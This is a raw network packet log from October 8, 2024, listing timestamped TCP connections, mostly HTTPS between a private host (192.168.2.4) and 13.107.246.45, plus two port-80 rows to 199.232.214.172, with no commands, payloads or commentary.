Oct 8, 2024 02:45:58.209985971 CEST	443	51319	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.210268021 CEST	51319	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.210273981 CEST	443	51319	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.223104954 CEST	443	51317	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.223440886 CEST	51317	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.223457098 CEST	443	51317	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.223737001 CEST	51317	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.223742962 CEST	443	51317	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.227050066 CEST	443	51318	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.227338076 CEST	51318	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.227349997 CEST	443	51318	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.227653027 CEST	51318	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.227658987 CEST	443	51318	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.233735085 CEST	443	51320	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.233969927 CEST	51320	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.233993053 CEST	443	51320	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.234263897 CEST	51320	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.234267950 CEST	443	51320	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.317034006 CEST	443	51319	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.317162991 CEST	443	51319	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.317213058 CEST	51319	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.317262888 CEST	51319	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.317285061 CEST	443	51319	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.317312956 CEST	51319	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.317320108 CEST	443	51319	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.318723917 CEST	443	51316	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.318871021 CEST	443	51316	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.318922997 CEST	51316	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.318953037 CEST	51316	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.318958044 CEST	443	51316	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.318969011 CEST	51316	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.318974018 CEST	443	51316	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.320060968 CEST	51321	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.320099115 CEST	443	51321	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.320156097 CEST	51321	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.320368052 CEST	51321	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.320379972 CEST	443	51321	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.321019888 CEST	51322	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.321029902 CEST	443	51322	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.321089029 CEST	51322	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.321187019 CEST	51322	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.321193933 CEST	443	51322	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.344337940 CEST	443	51320	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.344419956 CEST	443	51320	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.344480991 CEST	51320	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.344578981 CEST	51320	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.344598055 CEST	443	51320	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.344609976 CEST	51320	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.344614983 CEST	443	51320	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.344795942 CEST	443	51317	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.344852924 CEST	443	51317	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.344872952 CEST	443	51318	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.344897985 CEST	51317	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.344948053 CEST	443	51318	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.344986916 CEST	51318	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.345052958 CEST	51317	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.345052958 CEST	51317	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.345074892 CEST	443	51317	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.345093012 CEST	443	51317	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.345776081 CEST	51318	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.345782995 CEST	443	51318	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.345810890 CEST	51318	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.345817089 CEST	443	51318	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.347191095 CEST	51323	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.347212076 CEST	443	51323	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.347275019 CEST	51323	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.347899914 CEST	51324	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.347944975 CEST	443	51324	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.348001957 CEST	51324	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.348025084 CEST	51325	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.348073006 CEST	443	51325	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.348074913 CEST	51323	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.348089933 CEST	443	51323	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.348145008 CEST	51324	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.348145962 CEST	51325	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.348161936 CEST	443	51324	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.348248959 CEST	51325	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.348268986 CEST	443	51325	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.977324009 CEST	443	51321	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.977401018 CEST	443	51322	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.977802038 CEST	51321	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.977823973 CEST	443	51321	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.977864981 CEST	51322	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.977875948 CEST	443	51322	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.978225946 CEST	51321	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.978231907 CEST	443	51321	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:58.978298903 CEST	51322	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:58.978303909 CEST	443	51322	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.000597954 CEST	443	51324	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.001013994 CEST	51324	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.001087904 CEST	443	51324	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.001328945 CEST	51324	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.001348019 CEST	443	51324	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.002460003 CEST	443	51325	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.002701044 CEST	51325	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.002737045 CEST	443	51325	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.002986908 CEST	51325	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.003000975 CEST	443	51325	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.007487059 CEST	443	51323	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.007695913 CEST	51323	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.007715940 CEST	443	51323	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.007956028 CEST	51323	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.007961035 CEST	443	51323	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.075685978 CEST	443	51321	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.075829983 CEST	443	51321	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.075891972 CEST	51321	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.075942993 CEST	51321	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.075963974 CEST	443	51321	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.075978041 CEST	51321	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.075985909 CEST	443	51321	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.076384068 CEST	443	51322	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.076509953 CEST	443	51322	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.076591969 CEST	51322	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.076647997 CEST	51322	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.076656103 CEST	443	51322	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.076666117 CEST	51322	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.076669931 CEST	443	51322	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.078409910 CEST	51326	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.078458071 CEST	443	51326	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.078543901 CEST	51326	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.078639984 CEST	51327	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.078670979 CEST	51326	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.078685045 CEST	443	51326	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.078700066 CEST	443	51327	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.078855038 CEST	51327	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.079018116 CEST	51327	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.079044104 CEST	443	51327	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.100832939 CEST	443	51324	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.100974083 CEST	443	51324	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.101032019 CEST	51324	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.101073980 CEST	51324	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.101073980 CEST	51324	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.101098061 CEST	443	51324	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.101119041 CEST	443	51324	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.102731943 CEST	51328	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.102758884 CEST	443	51328	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.102807045 CEST	51328	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.102921963 CEST	51328	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.102933884 CEST	443	51328	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.103291035 CEST	443	51325	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.103456974 CEST	443	51325	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.103519917 CEST	51325	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.103563070 CEST	51325	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.103564024 CEST	51325	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.103586912 CEST	443	51325	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.103609085 CEST	443	51325	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.105163097 CEST	51329	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.105201960 CEST	443	51329	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.105313063 CEST	51329	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.105387926 CEST	51329	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.105397940 CEST	443	51329	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.108604908 CEST	443	51323	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.109136105 CEST	443	51323	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.109189987 CEST	51323	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.109206915 CEST	51323	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.109217882 CEST	443	51323	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.109229088 CEST	51323	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.109232903 CEST	443	51323	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.110723019 CEST	51330	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.110733986 CEST	443	51330	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.110908031 CEST	51330	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.110908031 CEST	51330	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.110934973 CEST	443	51330	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.765758991 CEST	443	51327	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.766819000 CEST	51327	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.766899109 CEST	443	51327	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.767446041 CEST	51327	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.767460108 CEST	443	51327	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.772593975 CEST	443	51326	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.772898912 CEST	51326	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.772964954 CEST	443	51326	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.773195028 CEST	51326	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.773210049 CEST	443	51326	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.808217049 CEST	443	51329	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.808618069 CEST	51329	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.808643103 CEST	443	51329	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.808974028 CEST	51329	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.808979034 CEST	443	51329	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.832528114 CEST	443	51328	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.833112001 CEST	51328	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.833136082 CEST	443	51328	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.833338022 CEST	51328	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.833343983 CEST	443	51328	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.844942093 CEST	443	51330	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.845257044 CEST	51330	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.845279932 CEST	443	51330	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.845487118 CEST	51330	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.845493078 CEST	443	51330	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.873095989 CEST	443	51326	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.873258114 CEST	443	51326	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.873334885 CEST	51326	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.873488903 CEST	51326	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.873488903 CEST	51326	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.873539925 CEST	443	51326	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.873574972 CEST	443	51326	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.875704050 CEST	51331	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.875744104 CEST	443	51331	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.875803947 CEST	51331	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.875905037 CEST	51331	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.875911951 CEST	443	51331	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.909775972 CEST	443	51329	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.909933090 CEST	443	51329	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.910001040 CEST	51329	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.910065889 CEST	51329	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.910065889 CEST	51329	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.910080910 CEST	443	51329	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.910084009 CEST	443	51329	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.912828922 CEST	51332	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.912919998 CEST	443	51332	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.913001060 CEST	51332	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.913110971 CEST	51332	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.913137913 CEST	443	51332	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.923157930 CEST	443	51327	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.923324108 CEST	443	51327	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.923413038 CEST	51327	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.923413038 CEST	51327	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.923413038 CEST	51327	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.925195932 CEST	51333	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.925292015 CEST	443	51333	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.925381899 CEST	51333	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.925501108 CEST	51333	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.925527096 CEST	443	51333	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.935235023 CEST	443	51328	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.935318947 CEST	443	51328	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.935544014 CEST	51328	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.935766935 CEST	51328	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.935766935 CEST	51328	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.935791969 CEST	443	51328	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.935803890 CEST	443	51328	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.937361956 CEST	51334	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.937386036 CEST	443	51334	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.937612057 CEST	51334	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.937612057 CEST	51334	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.937745094 CEST	443	51334	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.946535110 CEST	443	51330	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.946579933 CEST	443	51330	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.946624994 CEST	51330	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.946724892 CEST	51330	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.946724892 CEST	51330	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.946739912 CEST	443	51330	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.946752071 CEST	443	51330	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.948626041 CEST	51335	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.948656082 CEST	443	51335	13.107.246.45	192.168.2.4
Oct 8, 2024 02:45:59.948729038 CEST	51335	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.948812962 CEST	51335	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:45:59.948828936 CEST	443	51335	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.236166000 CEST	51327	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.236226082 CEST	443	51327	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.545242071 CEST	443	51331	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.545797110 CEST	51331	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.545806885 CEST	443	51331	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.546277046 CEST	51331	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.546281099 CEST	443	51331	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.647840023 CEST	443	51331	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.647981882 CEST	443	51331	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.648055077 CEST	51331	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.648134947 CEST	51331	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.648156881 CEST	443	51331	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.648221016 CEST	51331	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.648226976 CEST	443	51331	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.648447990 CEST	443	51335	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.648775101 CEST	51335	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.648822069 CEST	443	51335	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.649230957 CEST	51335	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.649239063 CEST	443	51335	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.650549889 CEST	51336	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.650650978 CEST	443	51336	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.650723934 CEST	51336	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.650844097 CEST	51336	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.650865078 CEST	443	51336	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.652050018 CEST	443	51332	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.652297974 CEST	51332	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.652318954 CEST	443	51332	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.652653933 CEST	51332	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.652661085 CEST	443	51332	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.655473948 CEST	443	51334	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.655749083 CEST	51334	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.655811071 CEST	443	51334	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.656058073 CEST	51334	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.656073093 CEST	443	51334	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.656737089 CEST	443	51333	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.656981945 CEST	51333	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.657000065 CEST	443	51333	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.657318115 CEST	51333	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.657330036 CEST	443	51333	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.747275114 CEST	443	51335	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.747451067 CEST	443	51335	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.747625113 CEST	51335	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.747626066 CEST	51335	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.747626066 CEST	51335	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.749803066 CEST	51337	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.749852896 CEST	443	51337	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.749952078 CEST	51337	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.750077009 CEST	51337	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.750091076 CEST	443	51337	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.756889105 CEST	443	51332	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.757047892 CEST	443	51332	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.757110119 CEST	51332	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.757148027 CEST	51332	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.757148027 CEST	51332	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.757189035 CEST	443	51332	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.757215023 CEST	443	51332	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.758786917 CEST	51338	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.758797884 CEST	443	51338	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.758934021 CEST	51338	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.758975983 CEST	51338	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.758980036 CEST	443	51338	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.760591984 CEST	443	51334	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.760656118 CEST	443	51334	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.760739088 CEST	51334	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.760828972 CEST	51334	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.760828972 CEST	51334	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.760874033 CEST	443	51334	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.760904074 CEST	443	51334	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.761308908 CEST	443	51333	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.761359930 CEST	443	51333	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.761406898 CEST	51333	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.761472940 CEST	51333	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.761493921 CEST	443	51333	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.761518002 CEST	51333	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.761532068 CEST	443	51333	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.762808084 CEST	51339	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.762861967 CEST	443	51339	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.762922049 CEST	51339	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.763027906 CEST	51340	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.763060093 CEST	51339	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.763066053 CEST	443	51340	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.763082981 CEST	443	51339	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.763132095 CEST	51340	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.763243914 CEST	51340	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:00.763268948 CEST	443	51340	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:00.986193895 CEST	49723	80	192.168.2.4	199.232.214.172
Oct 8, 2024 02:46:00.992193937 CEST	80	49723	199.232.214.172	192.168.2.4
